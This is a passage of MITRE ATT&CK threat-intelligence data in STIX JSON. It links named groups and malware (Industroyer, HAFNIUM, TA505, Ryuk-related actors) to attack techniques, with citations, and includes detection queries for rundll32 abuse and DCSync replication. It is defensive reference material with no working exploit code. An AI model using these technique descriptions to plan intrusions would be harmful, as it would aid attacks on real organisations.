2021)","modified":"2022-04-06T20:05:01.789Z","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02a92b76-50e8-4d63-a7e3-462ff2596cbf","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T13:19:35.484Z","description":"Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. \n\nWhen monitoring for all instances of Rundll32 execution, as defined by the logic in the Detection Pseudocode, it is imperative to also investigate the full set of command-line parameters used. These parameters contain key information about the DLL payload, including the name, entry point, and optional arguments.\n\nNote: Event IDs are for Sysmon (Event ID 10 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic looks for any instances of rundll32.exe but does no other filtering, which may result in false positives. Therefore, we recommend tuning any such analytics by including additional logic (e.g., testing the name of the user that created the process) that helps reduce false positives.\n\nAnalytic 1 - RunDLL32.exe Monitoring\n \n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image= \"rundll32.exe\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02aaa58a-483c-43ec-ad99-a56da68a6298","created":"2021-09-29T15:41:18.395Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AhnLab Andariel Subgroup of Lazarus June 2018","description":"AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group, a subgroup of the Lazarus. Retrieved September 29, 2021.","url":"https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T18:36:06.080Z","description":"(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)","relationship_type":"uses","source_ref":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","target_ref":"malware--44c75271-0e4d-496f-ae0a-a6d883a42a65","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--02af155a-ed26-4807-99c5-f88477a6e143","created":"2021-01-04T20:42:22.208Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dragos Crashoverride 2017","url":"https://dragos.com/blog/crashoverride/CrashOverride-01.pdf","description":"Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) can use an arbitrary system service to load at system boot for persistence and replaces the ImagePath registry value of a Windows service with a new backdoor binary.(Citation: Dragos Crashoverride 2017) ","modified":"2022-06-30T20:16:22.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02b38264-044a-47ee-b8d8-a08cbb115d06","created":"2024-05-20T21:19:27.519Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T21:19:27.519Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) used the last command in Linux environments to identify recently logged-in users on victim machines.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02bd0dd0-85cb-439c-a984-973bed485f8e","created":"2022-01-18T18:54:44.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"},{"source_name":"CrowdStrike AQUATIC PANDA December 2021","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022.","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:16:27.591Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has deleted malicious executables from compromised machines.(Citation: CrowdStrike AQUATIC PANDA December 2021)(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02c3d977-d797-4105-9535-11682d4896e9","type":"relationship","created":"2020-07-15T20:23:36.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Carberp March 2012","url":"https://www.eset.com/fileadmin/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf","description":"Matrosov, A., Rodionov, E., Volkov, D., Harley, D. (2012, March 2). Win32/Carberp When You’re in a Black Hole, Stop Digging. Retrieved July 15, 2020."}],"modified":"2020-07-15T20:23:36.581Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has installed a bootkit on the system to maintain persistence.(Citation: ESET Carberp March 2012)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02c3ea88-c33c-47d8-a34a-532ed5498a3d","type":"relationship","created":"2021-03-03T20:20:35.804Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft HAFNIUM March 2020","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."}],"modified":"2021-03-03T20:20:35.804Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has interacted with Office 365 tenants to gather details regarding target's environments.(Citation: Microsoft HAFNIUM March 2020)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02c44129-5ee7-4f4c-84b1-aae2b0129f4a","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02c4488b-6041-4222-9363-18a63ce3b835","type":"relationship","created":"2021-03-22T03:10:42.651Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."}],"modified":"2021-03-22T03:10:42.651Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) encrypts a set of file extensions on a host, deletes the original files, and provides a ransom note with no contact information.(Citation: wardle evilquest partii)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02c88228-8275-42a7-9c3a-d5393556bceb","type":"relationship","created":"2020-05-29T20:09:48.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."}],"modified":"2020-06-16T16:57:13.566Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used the tool EmailStealer to steal and send lists of e-mail addresses to a remote server.(Citation: Trend Micro TA505 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02c8a28f-c188-47a9-ab93-d9abb862abab","created":"2023-02-16T16:45:43.255Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T21:23:27.887Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can download additional packages for keylogging, cryptocurrency mining, and other capabilities; it can also retrieve malicious payloads such as [Agent Tesla](https://attack.mitre.org/software/S0331), AsyncRat, [NanoCore](https://attack.mitre.org/software/S0336), RedLine, [Cobalt Strike](https://attack.mitre.org/software/S0154), and Metasploit.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02caaeff-7429-444f-bac2-498fe3a73cfd","created":"2019-02-21T21:17:37.975Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT39 Jan 2019","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"},{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.771Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used [CrackMapExec](https://attack.mitre.org/software/S0488) and a custom port scanner known as BLUETORCH for network scanning.(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02d478b7-c728-4b43-b599-84bd75c3546e","created":"2021-03-18T14:20:00.545Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Anomali Static Kitten February 2021","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"},{"source_name":"Proofpoint TA450 Phishing March 2024","description":"Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign"},{"source_name":"Trend Micro Muddy Water March 2021","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T19:41:11.434Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has sent targeted spearphishing e-mails with malicious links.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)(Citation: Proofpoint TA450 Phishing March 2024)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02d4ee3d-adb9-49fc-8e91-3379c508692b","type":"relationship","created":"2020-07-24T13:48:49.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"modified":"2020-07-24T13:48:49.761Z","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) can load DLLs into memory.(Citation: Gh0stRAT ATT March 2019)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02d6312e-7747-4fb0-b9a4-cb59d9a243f1","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft DRSR Dec 2017","description":"Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.","url":"https://msdn.microsoft.com/library/cc228086.aspx"},{"source_name":"Microsoft GetNCCChanges","description":"Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.","url":"https://msdn.microsoft.com/library/dd207691.aspx"},{"source_name":"Samba DRSUAPI","description":"SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.","url":"https://wiki.samba.org/index.php/DRSUAPI"},{"source_name":"Harmj0y DCSync Sept 2015","description":"Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.","url":"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T15:55:07.544Z","description":"Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)\n\nAnalytic 1 - Monitor for replication requests from IPs not associated with known domain controllers.\n\n index=security sourcetype=\"WinEventLog:Security\" EventCode=4662 AccessMask=0x100 guid IN (\"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2\", \"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2\", \"9923a32a-3607-11d2-b9be-0000f87a36b2\", \"89e95b76-444d-4c62-991a-0facbeda640c\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7","target_ref":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02e03773-7cea-4b40-bf96-f22ccbc7187f","created":"2020-05-12T18:25:44.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a"},{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"CrowdStrike Wizard Spider October 2020","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"},{"source_name":"Sophos New Ryuk Attack October 2020","description":"Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They’re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020.","url":"https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-04T19:43:45.857Z","description":"(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: Sophos New Ryuk Attack October 2020)(Citation: CrowdStrike Wizard Spider October 2020)(Citation: Mandiant FIN12 Oct 2021)(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02e0a0a6-2b51-4266-ba4e-1af344f20f62","type":"relationship","created":"2020-03-12T18:50:32.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Calisto July 2018","description":"Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.","url":"https://securelist.com/calisto-trojan-for-macos/86543/"}],"modified":"2020-03-12T18:50:32.117Z","description":"[Calisto](https://attack.mitre.org/software/S0274) adds a .plist file to the /Library/LaunchAgents folder to maintain persistence.(Citation: Securelist Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02e23a00-846a-4b86-9146-4a7354c23667","created":"2019-04-12T15:55:48.135Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.984Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used Hermes ransomware to encrypt files with AES256.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02e3008d-1b2b-4824-b715-d6d8335cc4b2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/","description":"Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ Code Injection Technique Discovered. Retrieved May 24, 2018.","source_name":"CyberBit Early Bird Apr 2018"}],"modified":"2021-02-09T15:25:33.216Z","description":"[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of injecting code into the APC queue of a created [Rundll32](https://attack.mitre.org/techniques/T1218/011) process as part of an \"Early Bird injection.\"(Citation: CyberBit Early Bird Apr 2018)","relationship_type":"uses","source_ref":"malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02e4c930-ffc1-4bcb-a989-12db90671f90","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"synack 2016 review","description":"Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.","url":"https://objective-see.org/blog/blog_0x16.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:18:40.401Z","description":"[Keydnap](https://attack.mitre.org/software/S0276) uses a copy of tor2web proxy for HTTPS communications.(Citation: synack 2016 review)","relationship_type":"uses","source_ref":"malware--4b072c90-bc7a-432b-940e-016fc1c01761","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02e4c994-181d-4aaf-801b-a56ab36a1aaa","created":"2023-07-31T19:52:49.608Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:10:22.517Z","description":"(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--5a63f900-5e7e-4928-a746-dd4558e1df71","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--02eba953-12a6-434a-bc67-2337864cf560","created":"2020-07-16T15:23:48.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET ForSSHe December 2018","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T01:48:54.010Z","description":"[Kessel](https://attack.mitre.org/software/S0487)'s configuration is hardcoded and RC4 